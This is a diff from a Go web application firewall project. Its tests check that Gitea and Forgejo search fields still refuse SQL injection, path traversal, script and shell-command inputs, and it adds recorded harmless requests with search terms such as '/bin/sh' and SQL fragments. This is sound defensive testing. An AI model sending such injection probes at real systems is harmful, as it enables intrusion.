"/api/v1/topics/search?q=",
"/api/v1/orgs/acme/teams/search?q=",
"/api/v1/admin/emails/search?q=",
"/api/v1/admin/unadopted?query=",
"/api/v1/repos/alice/tools/milestones?name=",
}
// giteaAPIPackageSearch is the API's search of an owner's packages, whose q
// also lets /bin/sh through, since a package name can hold a slash.
const giteaAPIPackageSearch = "/api/v1/packages/alice?q="
func TestGiteaAttacksAreRefusedInItsAPISearches(t *testing.T) {
t.Parallel()
checkSearchesRefuseAttacks(
t,
giteaAPISearches,
[]string{giteaAPIPackageSearch},
)
}
// checkSearchesRefuseAttacks checks that SQL injection, a path traversal,
// script injection and a shell command stay refused in the field of each
// search, in the query string and in a form data body. Each search ends in
// its field. /bin/sh stays refused too in the field of each of
// refusingBinSh, but not of lettingBinSh.
func checkSearchesRefuseAttacks(
t *testing.T, refusingBinSh, lettingBinSh []string,
) {
t.Helper()
const threshold = 5 // SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD's default
defaults, bodies := atDefaults(t), readingBodies(t)
for _, search := range slices.Concat(refusingBinSh, lettingBinSh) {
path, field, _ := strings.Cut(search, "?")
for _, attack := range []string{
sqlInjection, pathTraversal, scriptInjection, commandInjection,
} {
if got := inspect(t, defaults, get(search+attack)); got.Score < threshold {
t.Errorf("GET %s%s let through: %+v", search, attack, got)
}
// The same field in a form data body.
r := request{http.MethodPost, path, []string{formData}}
if got, _ := inspectBody(t, bodies, r, field+attack); got.Score < threshold {
t.Errorf(
"POST %s %s%s let through: %+v",
path,
field,
attack,
got,
)
}
}
}
for _, search := range refusingBinSh {
if got := inspect(t, defaults, get(search+binSh)); got.Score < threshold {
t.Errorf("%s%s let through: %+v", search, binSh, got)
}
}
}
func TestGiteaAPISearchExclusionsAreNarrow(t *testing.T) {
t.Parallel()
// Each search's field on paths near the searches, and another field on
// them.
checkValuesStayRefused(t, []string{
"/api/v1/topics/search/x?q=",
"/api/v1/orgs/acme/teams?q=",
"/api/v1/orgs/acme/teams/search/x?q=",
"/api/v1/admin/emails?q=",
"/api/v1/admin/unadopted/alice/legacy-site?query=",
"/api/v1/admin/users?query=",
"/api/v1/repos/alice/tools/milestones/1?name=",
"/api/v1/repos/alice/tools/labels?name=",
"/api/v1/packages/alice/generic/tools-cli?q=",
"/api/v1/topics/search?other=",
"/api/v1/orgs/acme/teams/search?other=",
"/api/v1/admin/emails/search?other=",
"/api/v1/admin/unadopted?q=",
"/api/v1/repos/alice/tools/milestones?q=",
"/api/v1/packages/alice?other=",
})
}
// checkValuesStayRefused checks that /bin/sh, a shell command after a ";", a
// path traversal and the hard values stay refused at the end of each target.
func checkValuesStayRefused(t *testing.T, targets []string) {
t.Helper()
const threshold = 5 // SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD's default
crs := atDefaults(t)
for _, target := range targets {
for _, value := range slices.Concat(
[]string{binSh, commandInjection, pathTraversal},
hardValues,
) {
if got := inspect(t, crs, get(target+value)); got.Score < threshold {
t.Errorf("%s%s let through: %+v", target, value, got)
}
}
}
}
// giteaRegistrySearches are the package registries' searches whose field
// skips the lists of system files and command names. Each ends in the field
// it sends its words in.
//
//nolint:gochecknoglobals // a constant cannot be a list
var giteaRegistrySearches = []string{
"/api/packages/alice/cargo/api/v1/crates?q=",
"/api/packages/alice/chef/api/v1/search?q=",
"/api/packages/alice/chef/api/v1/cookbooks?q=",
"/api/packages/alice/nuget/query?q=",
"/api/packages/alice/nuget/Search()?searchTerm=",
"/api/packages/alice/nuget/Packages()?$filter=",
}
// giteaRegistryNameSearches are the package registries' searches whose field
// also lets /bin/sh through, since a Composer, Conan or npm name can hold a
// slash.
//
//nolint:gochecknoglobals // a constant cannot be a list
var giteaRegistryNameSearches = []string{
"/api/packages/alice/composer/search.json?q=",
"/api/packages/alice/conan/v1/conans/search?q=",
"/api/packages/alice/conan/v2/conans/search?q=",
"/api/packages/alice/npm/-/v1/search?text=",
}
func TestGiteaAttacksAreRefusedInItsRegistrySearches(t *testing.T) {
t.Parallel()
checkSearchesRefuseAttacks(
t,
giteaRegistrySearches,
giteaRegistryNameSearches,
)
}
func TestGiteaRegistrySearchExclusionsAreNarrow(t *testing.T) {
t.Parallel()
// Each search's field on paths near the searches, and another field on
// them.
checkValuesStayRefused(t, []string{
"/api/packages/alice/cargo/api/v1/crates/tools-cli?q=",
"/api/packages/alice/chef/api/v1/cookbooks/tools?q=",
"/api/packages/alice/composer/packages.json?q=",
"/api/packages/alice/conan/v1/conans/tools/1.0/alice/stable/search?q=",
"/api/packages/alice/nuget/query/x?q=",
"/api/packages/alice/nuget/FindPackagesById()?id=",
"/api/packages/alice/npm/tools-cli?text=",
"/api/packages/alice/cargo/api/v1/crates?other=",
"/api/packages/alice/chef/api/v1/search?other=",
"/api/packages/alice/composer/search.json?type=",
"/api/packages/alice/conan/v2/conans/search?other=",
"/api/packages/alice/nuget/query?other=",
"/api/packages/alice/nuget/Search()?targetFramework=",
"/api/packages/alice/nuget/Packages()?$orderby=",
"/api/packages/alice/npm/-/v1/search?q=",
})
const threshold = 5 // SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD's default
crs := atDefaults(t)
// The rule for MongoDB operators (942290) still refuses the name of
// another operator on NuGet's searches, and $filter on NuGet's other
// paths. The rule for SQL injection (942100) still refuses tools/* in a
// field other than a Conan search's, and SQL injection in a second q
// after a Conan pattern.
for _, target := range []string{
"/api/packages/alice/nuget/Search()?$where=1",
"/api/packages/alice/nuget/Packages()?$ne=1",
"/api/packages/alice/nuget/FindPackagesById()?$filter=IsLatestVersion",
"/api/packages/alice/composer/search.json?q=tools%2F%2A",
"/api/packages/alice/conan/v2/conans/search?other=tools%2F%2A",
"/api/packages/alice/conan/v2/conans/search?q=tools%2F%2A&q=" +
sqlInjection,
} {
if got := inspect(t, crs, get(target)); got.Score < threshold {
t.Errorf("%s let through: %+v", target, got)
}
}
}
+1 -1
View File
@@ -5,7 +5,7 @@
# file is loaded before the Core Rule Set's rules. Each comment names a request
# a rule refused. An exclusion on a field of a body applies only when the query
# has no parameter of that name, so it matters only while
# SWW_WAF_CORE_RULE_SET_BODY_LIMIT is set.
# SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE is set.
#
# Gitea serves /api/v1/ too, and Drupal serves /admin/. So only Mastodon's own
# resources under them count as Mastodon's paths.
+1 -1
View File
@@ -12,7 +12,7 @@ import (
"sneak.berlin/go/smallwebwaf/internal/coreruleset"
)
// mastodonThreshold is SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD's default.
// mastodonThreshold is SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD's default.
const mastodonThreshold = 5
// mastodonStatuses is where Mastodon's apps and web app post.
+1 -1
View File
@@ -5,7 +5,7 @@
# request, before the rules it switches off, so this file is loaded before the
# Core Rule Set's rules. Each comment names a request a rule refused. An
# exclusion on a field of a body applies only when the query has no parameter of
# that name, so it matters only while SWW_WAF_CORE_RULE_SET_BODY_LIMIT is set.
# that name, so it matters only while SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE is set.
# MediaWiki's paths are matched at the site root and under /w/.
#
# WordPress serves /index.php too. So /index.php counts as MediaWiki's only
+5 -3
View File
@@ -9,7 +9,7 @@ import (
"sneak.berlin/go/smallwebwaf/internal/coreruleset"
)
// mediawikiThreshold is SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD's default.
// mediawikiThreshold is SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD's default.
const mediawikiThreshold = 5
// mediawiki is MediaWiki's name in SWW_WAF_APPS.
@@ -76,7 +76,8 @@ func TestMediaWikiWatchlistFixAppliesOnlyToAHostnameThatServesMediaWiki(
t.Parallel()
crs := shared(t, coreruleset.Params{
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, BodyLimit: bodyLimit,
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules,
BodyInspectionSize: bodyInspectionSize,
Apps: map[string][]string{
giteaHost: {gitea},
otherHost: {mediawiki},
@@ -120,7 +121,8 @@ func TestMediaWikiPasswordFixesApplyOnlyToAHostnameThatServesMediaWiki(
t.Parallel()
crs := shared(t, coreruleset.Params{
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, BodyLimit: bodyLimit,
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules,
BodyInspectionSize: bodyInspectionSize,
Apps: map[string][]string{
giteaHost: {gitea},
otherHost: {mediawiki},
+1 -1
View File
@@ -5,7 +5,7 @@
# switches off, so this file is loaded before the Core Rule Set's rules. Each
# comment names a request a rule refused. An exclusion on a field of a JSON body
# applies only when the query has no parameter of that name, so it matters only
# while SWW_WAF_CORE_RULE_SET_BODY_LIMIT is set. Nextcloud's pages are matched
# while SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE is set. Nextcloud's pages are matched
# at the site root and under /index.php/, where a Nextcloud without pretty URLs
# serves them.
#
+4 -3
View File
@@ -13,7 +13,7 @@ import (
"sneak.berlin/go/smallwebwaf/internal/coreruleset"
)
// nextcloudThreshold is SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD's default.
// nextcloudThreshold is SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD's default.
const nextcloudThreshold = 5
// nextcloudSignIn is the sign-in page.
@@ -102,7 +102,8 @@ func TestNextcloudPasswordInValuePassesOnlyOnHostnamesThatServeNextcloud(
t.Parallel()
crs := shared(t, coreruleset.Params{
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, BodyLimit: bodyLimit,
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules,
BodyInspectionSize: bodyInspectionSize,
Apps: map[string][]string{
giteaHost: {gitea},
otherHost: {nextcloud},
@@ -528,7 +529,7 @@ func TestNextcloudPasswordFieldsPass(t *testing.T) {
func TestNextcloudUserPasswordInValuePasses(t *testing.T) {
t.Parallel()
const threshold = 5 // SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD's default
const threshold = 5 // SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD's default
crs := readingBodies(t)
target := nextcloudUsers + "/alice"
+4 -4
View File
@@ -57,7 +57,7 @@ func giteaRequests(t *testing.T) []request {
func TestOrdinaryGiteaRequestsPass(t *testing.T) {
t.Parallel()
const threshold = 5 // SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD's default
const threshold = 5 // SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD's default
requests := giteaRequests(t)
giteaOnly := map[string][]string{giteaHost: {gitea}}
@@ -133,7 +133,7 @@ func recordedRequests(t *testing.T, name string) []recordedRequest {
func wantRecordedRequestsPass(t *testing.T, name, app string) {
t.Helper()
const threshold = 5 // SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD's default
const threshold = 5 // SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD's default
requests := recordedRequests(t, name)
@@ -144,7 +144,7 @@ func wantRecordedRequestsPass(t *testing.T, name, app string) {
defaults := servingApps(t, apps)
bodies := shared(t, coreruleset.Params{
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules,
BodyLimit: bodyLimit, Apps: apps,
BodyInspectionSize: bodyInspectionSize, Apps: apps,
})
for _, recorded := range requests {
@@ -214,7 +214,7 @@ func TestOrdinaryDrupalRequestsPass(t *testing.T) {
func TestOrdinaryForgejoRequestsPass(t *testing.T) {
t.Parallel()
const threshold = 5 // SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD's default
const threshold = 5 // SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD's default
requests := recordedRequests(t, "forgejo-requests.txt")
forgejoOnly := map[string][]string{"example.com": {forgejo}}
+141
View File
@@ -974,3 +974,144 @@
{"method": "GET", "target": "/org/acme/issues/developers?type=your_repositories&sort=recentupdate&project=ZgotmplZ&state=open&q=SELECT%20%2A%20FROM%20users%20WHERE", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/org/acme/issues/developers", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
{"method": "GET", "target": "/org/acme/pulls/developers?type=your_repositories&sort=recentupdate&project=ZgotmplZ&state=open&q=SELECT%20%2A%20FROM%20users%20WHERE", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/org/acme/pulls/developers", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/milestone/1?q=SELECT%20%2A%20FROM%20users%20WHERE", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/milestone/1", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
# The API's searches that gitea and Forgejo share, sent with curl to Forgejo
# 17.0.1. Each searches for words that name commands and files, such as python3
# and .htaccess, and for plain words. A package name can hold a slash, as npm's
# @alice/tools-cli does, so the search of packages is also sent /bin/sh. The
# search of unadopted repositories takes an owner and a name.
{"method": "GET", "target": "/api/v1/repos/search?q=python3&limit=10", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
{"method": "GET", "target": "/api/v1/repos/search?q=powershell&limit=10", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
{"method": "GET", "target": "/api/v1/repos/search?q=ls%20-la&limit=10", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
{"method": "GET", "target": "/api/v1/repos/search?q=.htaccess&limit=10", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
{"method": "GET", "target": "/api/v1/repos/search?q=docker-compose.yml&limit=10", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
{"method": "GET", "target": "/api/v1/repos/search?q=tools&limit=10", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
{"method": "GET", "target": "/api/v1/users/search?q=python3", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
{"method": "GET", "target": "/api/v1/users/search?q=powershell", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
{"method": "GET", "target": "/api/v1/users/search?q=ls%20-la", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
{"method": "GET", "target": "/api/v1/users/search?q=.htaccess", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
{"method": "GET", "target": "/api/v1/users/search?q=bob", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
{"method": "GET", "target": "/api/v1/repos/issues/search?q=python3&type=issues&state=open", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
{"method": "GET", "target": "/api/v1/repos/issues/search?q=powershell&type=issues&state=open", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
{"method": "GET", "target": "/api/v1/repos/issues/search?q=ls%20-la&type=issues&state=open", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
{"method": "GET", "target": "/api/v1/repos/issues/search?q=.htaccess&type=issues&state=open", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
{"method": "GET", "target": "/api/v1/repos/issues/search?q=docker-compose.yml&type=issues&state=open", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
{"method": "GET", "target": "/api/v1/repos/issues/search?q=build&type=issues&state=open", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
{"method": "GET", "target": "/api/v1/repos/alice/tools/issues?state=open&q=python3", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
{"method": "GET", "target": "/api/v1/repos/alice/tools/issues?state=open&q=powershell", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
{"method": "GET", "target": "/api/v1/repos/alice/tools/issues?state=open&q=ls%20-la", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
{"method": "GET", "target": "/api/v1/repos/alice/tools/issues?state=open&q=.htaccess", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
{"method": "GET", "target": "/api/v1/repos/alice/tools/issues?state=open&q=docker-compose.yml", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
{"method": "GET", "target": "/api/v1/packages/alice?q=python3", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
{"method": "GET", "target": "/api/v1/packages/alice?q=powershell", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
{"method": "GET", "target": "/api/v1/packages/alice?q=ls%20-la", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
{"method": "GET", "target": "/api/v1/packages/alice?q=.htaccess", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
{"method": "GET", "target": "/api/v1/packages/alice?q=%2Fbin%2Fsh", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
{"method": "GET", "target": "/api/v1/packages/alice?q=install-script", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
{"method": "GET", "target": "/api/v1/packages/alice?q=%40alice%2Ftools-cli", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
{"method": "GET", "target": "/api/v1/topics/search?q=python3", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
{"method": "GET", "target": "/api/v1/topics/search?q=powershell", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
{"method": "GET", "target": "/api/v1/topics/search?q=ls%20-la", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
{"method": "GET", "target": "/api/v1/topics/search?q=.htaccess", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
{"method": "GET", "target": "/api/v1/topics/search?q=docker", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
{"method": "GET", "target": "/api/v1/orgs/acme/teams/search?q=python3", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
{"method": "GET", "target": "/api/v1/orgs/acme/teams/search?q=powershell", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
{"method": "GET", "target": "/api/v1/orgs/acme/teams/search?q=ls%20-la", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
{"method": "GET", "target": "/api/v1/orgs/acme/teams/search?q=.htaccess", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
{"method": "GET", "target": "/api/v1/orgs/acme/teams/search?q=developers", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
{"method": "GET", "target": "/api/v1/admin/emails/search?q=python3", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
{"method": "GET", "target": "/api/v1/admin/emails/search?q=powershell", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
{"method": "GET", "target": "/api/v1/admin/emails/search?q=ls%20-la", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
{"method": "GET", "target": "/api/v1/admin/emails/search?q=.htaccess", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
{"method": "GET", "target": "/api/v1/admin/emails/search?q=alice", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
{"method": "GET", "target": "/api/v1/admin/unadopted?query=python3", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
{"method": "GET", "target": "/api/v1/admin/unadopted?query=powershell", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
{"method": "GET", "target": "/api/v1/admin/unadopted?query=ls%20-la", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
{"method": "GET", "target": "/api/v1/admin/unadopted?query=.htaccess", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
{"method": "GET", "target": "/api/v1/admin/unadopted?query=alice%2Fpython3-app", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
{"method": "GET", "target": "/api/v1/admin/unadopted?query=alice%2Flegacy-site", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
{"method": "GET", "target": "/api/v1/repos/alice/tools/milestones?state=open&name=python3", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
{"method": "GET", "target": "/api/v1/repos/alice/tools/milestones?state=open&name=powershell", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
{"method": "GET", "target": "/api/v1/repos/alice/tools/milestones?state=open&name=ls%20-la", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
{"method": "GET", "target": "/api/v1/repos/alice/tools/milestones?state=open&name=.htaccess", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
{"method": "GET", "target": "/api/v1/repos/alice/tools/milestones?state=open&name=v1.0", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
# The package registries' searches, sent to Forgejo 17.0.1 by each registry's
# own client: npm, composer, conan 2 and 1, cargo, dotnet and knife. curl sent
# the requests no client sends: the Chef cookbook list with a search, and
# NuGet's Packages() with the search in $filter, as NuGet's client builds it for
# a feed without Search(). Each searches for words that name commands and files,
# such as python3 and .htaccess, and for plain words. A Composer, Conan or npm
# name can hold a slash, so those searches are also sent /bin/sh.
{"method": "GET", "target": "/api/packages/alice/npm/-/v1/search?text=python3&size=20&from=0&quality=0.65&popularity=0.98&maintenance=0.5", "headers": ["user-agent: npm/10.9.9 node/v22.23.5 linux x64 workspaces/false", "npm-auth-type: web", "npm-command: search", "Accept: */*", "Accept-Encoding: gzip,deflate", "Host: example.com", "connection: keep-alive"], "body": ""}
{"method": "GET", "target": "/api/packages/alice/npm/-/v1/search?text=powershell&size=20&from=0&quality=0.65&popularity=0.98&maintenance=0.5", "headers": ["user-agent: npm/10.9.9 node/v22.23.5 linux x64 workspaces/false", "npm-auth-type: web", "npm-command: search", "Accept: */*", "Accept-Encoding: gzip,deflate", "Host: example.com", "connection: keep-alive"], "body": ""}
{"method": "GET", "target": "/api/packages/alice/npm/-/v1/search?text=ls+-la&size=20&from=0&quality=0.65&popularity=0.98&maintenance=0.5", "headers": ["user-agent: npm/10.9.9 node/v22.23.5 linux x64 workspaces/false", "npm-auth-type: web", "npm-command: search", "Accept: */*", "Accept-Encoding: gzip,deflate", "Host: example.com", "connection: keep-alive"], "body": ""}
{"method": "GET", "target": "/api/packages/alice/npm/-/v1/search?text=.htaccess&size=20&from=0&quality=0.65&popularity=0.98&maintenance=0.5", "headers": ["user-agent: npm/10.9.9 node/v22.23.5 linux x64 workspaces/false", "npm-auth-type: web", "npm-command: search", "Accept: */*", "Accept-Encoding: gzip,deflate", "Host: example.com", "connection: keep-alive"], "body": ""}
{"method": "GET", "target": "/api/packages/alice/npm/-/v1/search?text=%2Fbin%2Fsh&size=20&from=0&quality=0.65&popularity=0.98&maintenance=0.5", "headers": ["user-agent: npm/10.9.9 node/v22.23.5 linux x64 workspaces/false", "npm-auth-type: web", "npm-command: search", "Accept: */*", "Accept-Encoding: gzip,deflate", "Host: example.com", "connection: keep-alive"], "body": ""}
{"method": "GET", "target": "/api/packages/alice/npm/-/v1/search?text=%40alice%2Ftools-cli&size=20&from=0&quality=0.65&popularity=0.98&maintenance=0.5", "headers": ["user-agent: npm/10.9.9 node/v22.23.5 linux x64 workspaces/false", "npm-auth-type: web", "npm-command: search", "Accept: */*", "Accept-Encoding: gzip,deflate", "Host: example.com", "connection: keep-alive"], "body": ""}
{"method": "GET", "target": "/api/packages/alice/npm/-/v1/search?text=docker-compose.yml&size=20&from=0&quality=0.65&popularity=0.98&maintenance=0.5", "headers": ["user-agent: npm/10.9.9 node/v22.23.5 linux x64 workspaces/false", "npm-auth-type: web", "npm-command: search", "Accept: */*", "Accept-Encoding: gzip,deflate", "Host: example.com", "connection: keep-alive"], "body": ""}
